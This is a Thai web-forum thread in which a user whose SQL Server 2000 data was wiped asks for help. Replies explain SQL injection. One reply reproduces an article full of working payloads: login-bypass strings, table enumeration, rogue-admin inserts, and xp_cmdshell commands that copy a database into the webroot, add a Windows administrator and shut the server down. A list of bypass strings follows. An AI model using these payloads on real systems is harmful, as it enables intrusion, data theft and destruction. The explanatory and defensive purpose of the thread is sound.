Register Register Member Login Member Login Member Login Forgot Password ??
PHP , ASP , ASP.NET, VB.NET, C#, Java , jQuery , Android , iOS , Windows Phone
 

Registered : 109,028

HOME > ASP > ASP Forum > sql server 2000 โดนทำลายข้อมูลค่ะ ไม่แน่ใจว่าตัวเอง ทำอะไรลงไป ข้อมูลบางเรคคอร์ดหายไป และมีสคริปแปลก ๆ แทรกแทนที่อยู่



 

sql server 2000 โดนทำลายข้อมูลค่ะ ไม่แน่ใจว่าตัวเอง ทำอะไรลงไป ข้อมูลบางเรคคอร์ดหายไป และมีสคริปแปลก ๆ แทรกแทนที่อยู่

 



Topic : 043340



โพสกระทู้ ( 13 )
บทความ ( 0 )



สถานะออฟไลน์




ไม่แน่ใจว่าตัวเอง ทำอะไรลงไป ข้อมูลบางเรคคอร์ดหายไป และมีสคริปแปลก ๆ แทรกแทนที่อยู่ เซ็งจิต
เวลาผ่านไปสองเดือนกว่า ยังแก้ไขไม่ได้ ได้โปรดให้คำแนะนำด้วยนะค่ะ



Tag : - - - -







Move To Hilight (Stock) 
Send To Friend.Bookmark.
Date : 2010-05-26 14:58:39 By : wassanaw View : 1954 Reply : 3
 

 

No. 1



โพสกระทู้ ( 168 )
บทความ ( 0 )



สถานะออฟไลน์


ระวังเรื่อง ของ ช่องโหว่ ของการเขียน code นะครับ
เช่น Text box ต้องกำหนด ค่า max ทุกครั้ง ไม่งั้น คุณ จะโดน แทรก script จาก ผู้ไม่หวังดี
เพราะเขาสามารถ แทรก โค๊ด ให้เข้าไป ลบ ข้อมูลได้ หรือเรียกว่า SQL injection
วิธีป้องกัน

นักพัฒนาระบบ (Web Application Developer) ควรจะระมัดระวัง input string ที่มาจากทางฝั่ง Client (Web Browser) และไม่ควรใช้วิธีติดต่อกับระบบภายนอกโดยไม่จำเป็น

ควรมีการ "กรอง" ข้อมูลขาเข้าที่มาจาก Web Browser ผ่านมาทางผู้ใช้ Client อย่างละเอียด และ ทำการ "กรอง" ข้อมูลที่มีลักษณะที่เป็น SQL injection statement ออกไปเสียก่อนที่จะส่งให้กับระบบฐานข้อมูล SQL ต่อไป

การใช้ Stored Procedure หรือ Trigger ก็เป็นทางออกหนึ่งในการเขียนโปรแกรมสั่งงานไปยังระบบฐานข้อมูล SQL ซึ่งมีความปลอดภัยมากกว่าการใช้ "Dynamic SQL Statement " กับฐานข้อมูล SQL ตรงๆ






Date : 2010-05-26 15:05:45 By : msorawich
 


 

No. 2



โพสกระทู้ ( 13 )
บทความ ( 0 )



สถานะออฟไลน์


อย่างนี้แสดงว่า โดนเจาะทางโค๊ต มิใช่ ทาง DB โดยตรง ใช่เปล่าค่ะ
Date : 2010-05-26 15:20:48 By : wassanaw
 

 

No. 3



โพสกระทู้ ( 168 )
บทความ ( 0 )



สถานะออฟไลน์


ผมขออ้างถึง บทความ SQL Injection


บทความ SQL Injection [เป็นพื้นฐานที่สำคัญมากในการ Hack]


ในการตรวจสอบสิทธิ์ โปรแกรมเมอร์จะเขียน SQL Login นำตัวแปร Username และ Password ไปเป็นคำสั่ง SQL Login เพื่อทำการสืบค้นข้อมูลจากตารางชื่อ tbl_users ค่าในฟิล Username ตรงกับค่าตัวแปร strUsername ที่หน้า Login และค่า Password ตรงกับค่าตัวแปร strPassword ในหน้า Login ก็จะทำการตรวจเช็ค ถ้าใช่จะทำให้ค่าในตัวแปร strAuthCheck = 1 ถ้าไม่ใช่(ไม่ถูก)ก็เป็น 0 ทำให้โปรแกรมทราบว่าการตรวจสอบสิทธิ์ผ่านหรือไม่
จะเกิดอะไรขึ้นถ้าตัวแปร Username และ Password ที่ถูกส่งเข้ามาตรวจสอบนั้นไม่ใช่ชื่อผู้ใช้และรหัสผ่าน แต่เป็นส่วนหนึ่งของคำสั่ง SQL ที่สามารถทำให้ความหมายของคำสั่ง SQL Login เปลี่ยนไป

การข้ามผ่านการตรวจสอบสิทธิ์

SELECT * FROM tbl_Users WHERE |เงื่อนไขเป็นจริงเสมอ
Username='hacker' AND Password='' or 9=9;--'

การกระทำทางตรรกศาสตร์
X and Y or TRUE มีค่าความเป็นจริงเสมอ
' or 9=9
คำสั่ง SQL Login จะเป็น
SELECT * FROM tbl_Users WHERE TRUE |ถ้าเป็นอย่างงี้ก็จะเข้าสูตรตรรกเป็นจริง ทำให้การตรวจสอบสิทธิ์ผ่าน

สัญลักษณ์ ;-- หมายถึงสิ้นสุดคำสั่ง SQL แฮกเกอร์ทำการใส่เพื่อให้ Single Quote ตัวสุดท้ายเป็นโมฆะ

หลังจากผ่านการตรวจสอบสิทธ์สิ่งที่จะได้รับขึ้นอยู่กับโปรแกรมทางฝั่ง SERVER เช่น
- เป็นผู้ใช้ที่มีชื่อเดียวกันกับ Username ที่ระบุ
- ผู้ใช้ที่อยู่ เรคคอร์ดแรกของตาราง (ส่วนใหญ่จะเป็น Admin)
- เป็นผู้ใช้ที่มี ID น้อยที่สุดของตาราง (ส่วนใหญ่จะเป็น Admin)
- ได้สิทธิ์เท่ากับผู้ใช้อื่นๆ
- ไม่ได้รับสิทธิ์อะไรเลย ขึ้นอยู่กับโปรแกรมบนฝั่ง SERVER |แล้วจะ Login มาเพื่ออะไรกันเนี้ย

งัดแงะเพื่อหาข้อมูลเพิ่มเติม

' HAVING 9=9;--
เริ่มจากการงัดดูข้อมูลฟิลและชื่อตาราง โดยส่งคำสั่งที่ทำให้ SQL เกิดอาการ Eror
'employee.id'
'GROUP BY emp_id;--
'employee.username'
'GROUP BY username;--
'employee.feild'

ด้วยวิธีการนี้ทำให้ทราบทุกฟิลด์ เมื่อทราบข้อมูลฟิลด์ ชื่อตาราง ชื่อฐานข้อมูล แฮกเกอร์สามารส่งคำสั่ง SQL ไปทำการ INSEART ข้อมูลได้

INSERT INTO members ('email','passwd','login_id','full_name') VALUES ('[email protected]','PasWd123',' ','Administrator');--

พยายาม Login เป็น Admin โดยการอัดฉีด Sub

' or emp_id=(SELECT top 1 emp_id FROM employee order BY emp_id);--
ทั้งนี้ขึ้นอยู่กับความรู้คำสั่ง SQL และความสามารถเฉพาะตัว

ขโมยข้อมูล

'; exec master..xp_cmdshell 'copy c:\money.mdb c:\inetpub\wwwroot\';--
แล้วก็ใช้ Browser ทำการ Download มาโดยปกติ http://www.sqlinjection.com\money.mdb

' ... ;-- เริ่มต้นคำสั่งจนจบท้ายด้วย ;--
ครอบครอง SERVER โดยการเพิ่มสิทธิ์ผู้ดูแลระบบ
exec master..xp_cmdshell '';--
exec master..xp_cmdshell 'net user Hacker Passwd /add'; |ถ้ายังไม่จบก็ไม่ต้องปิดเครื่องหมาย ;--
exec master..xp_cmdshell 'net localgroup Administrator Hacker /add';-- |ทำการเพิ่ม user ชื่อ Hacker เป็น ผู้ดูแลระบบ

หยุดการทำงานของระบบฐานข้อมูล (Microsoft SQL SERVER) *จะรัน xp_cmdshell ได้

'; shutdown with nowait;--

การป้องกันการแฮก SQL Injection
1. ตรวจสอบการป้อนอักขระพิเศษผ่านฟอร์มอินฟุต เช่น ' ; - " | ^ % & @ ( )
2. จำกัดความยาวของฟิลด์อินพุต
3. ย้ายสคริปป้องกันทางฝั่ง ไคลเอนต์ไปไว้ฝั่ง เซริฟเวอร์
4. การแฮกแบบนี้จะสำเร็จหรือไม่ขึ้นอยู่กับโครงสร้างของโปรแกรมที่โปรแกรมเมอร์เขียนขึ้น โดยส่วนใหญ่ ASP จะมีโอกาสสำเร็จสูงกว่า PHP แต่ก็ใช่ว่า PHP จะปลอดภัยและ FIREWALL ไม่สามารถป้องกันการแฮกรูปแบบนี้ได้ จบ

ตัวอย่างในการข้ามการตรวจสอบสิทธิ์ในรูปแบบต่างๆ


'OR '1'='1


' or''='
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
Date : 2010-05-26 15:31:45 By : msorawich
 

   

ค้นหาข้อมูล


   
 

แสดงความคิดเห็น
Re : sql server 2000 โดนทำลายข้อมูลค่ะ ไม่แน่ใจว่าตัวเอง ทำอะไรลงไป ข้อมูลบางเรคคอร์ดหายไป และมีสคริปแปลก ๆ แทรกแทนที่อยู่
 
 
รายละเอียด
 
ตัวหนา ตัวเอียง ตัวขีดเส้นใต้ ตัวมีขีดกลาง| ตัวเรืองแสง ตัวมีเงา ตัวอักษรวิ่ง| จัดย่อหน้าอิสระ จัดย่อหน้าชิดซ้าย จัดย่อหน้ากึ่งกลาง จัดย่อหน้าชิดขวา| เส้นขวาง| ขนาดตัวอักษร แบบตัวอักษร
ใส่แฟลช ใส่รูป ใส่ไฮเปอร์ลิ้งค์ ใส่อีเมล์ ใส่ลิ้งค์ FTP| ใส่แถวของตาราง ใส่คอลัมน์ตาราง| ตัวยก ตัวห้อย ตัวพิมพ์ดีด| ใส่โค้ด ใส่การอ้างถึงคำพูด| ใส่ลีสต์
smiley for :lol: smiley for :ken: smiley for :D smiley for :) smiley for ;) smiley for :eek: smiley for :geek: smiley for :roll: smiley for :erm: smiley for :cool: smiley for :blank: smiley for :idea: smiley for :ehh: smiley for :aargh: smiley for :evil:
Insert PHP Code
Insert ASP Code
Insert VB.NET Code Insert C#.NET Code Insert JavaScript Code Insert C#.NET Code
Insert Java Code
Insert Android Code
Insert Objective-C Code
Insert XML Code
Insert SQL Code
Insert Code
เพื่อความเรียบร้อยของข้อความ ควรจัดรูปแบบให้พอดีกับขนาดของหน้าจอ เพื่อง่ายต่อการอ่านและสบายตา และตรวจสอบภาษาไทยให้ถูกต้อง

อัพโหลดแทรกรูปภาพ

Notice

เพื่อความปลอดภัยของเว็บบอร์ด ไม่อนุญาติให้แทรก แท็ก [img]....[/img] โดยการอัพโหลดไฟล์รูปจากที่อื่น เช่นเว็บไซต์ ฟรีอัพโหลดต่าง ๆ
อัพโหลดแทรกรูปภาพ ให้ใช้บริการอัพโหลดไฟล์ของไทยครีเอท และตัดรูปภาพให้พอดีกับสกรีน เพื่อความโหลดเร็วและไฟล์ไม่ถูกลบทิ้ง

   
  เพื่อความปลอดภัยและการตรวจสอบ กระทู้ที่แทรกไฟล์อัพโหลดไฟล์จากที่อื่น อาจจะถูกลบทิ้ง
 
โดย
อีเมล์
บวกค่าให้ถูก
<= ตัวเลขฮินดูอารบิก เช่น 123 (หรือล็อกอินเข้าระบบสมาชิกเพื่อไม่ต้องกรอก)







Exchange: นำเข้าสินค้าจากจีน, Taobao, เฟอร์นิเจอร์, ของพรีเมี่ยม, ร่ม, ปากกา, power bank, แฟลชไดร์ฟ, กระบอกน้ำ

Load balance : Server 02
ThaiCreate.Com Logo
© www.ThaiCreate.Com. 2003-2024 All Rights Reserved.
ไทยครีเอทบริการ จัดทำดูแลแก้ไข Web Application ทุกรูปแบบ (PHP, .Net Application, VB.Net, C#)
[Conditions Privacy Statement] ติดต่อโฆษณา 081-987-6107 อัตราราคา คลิกที่นี่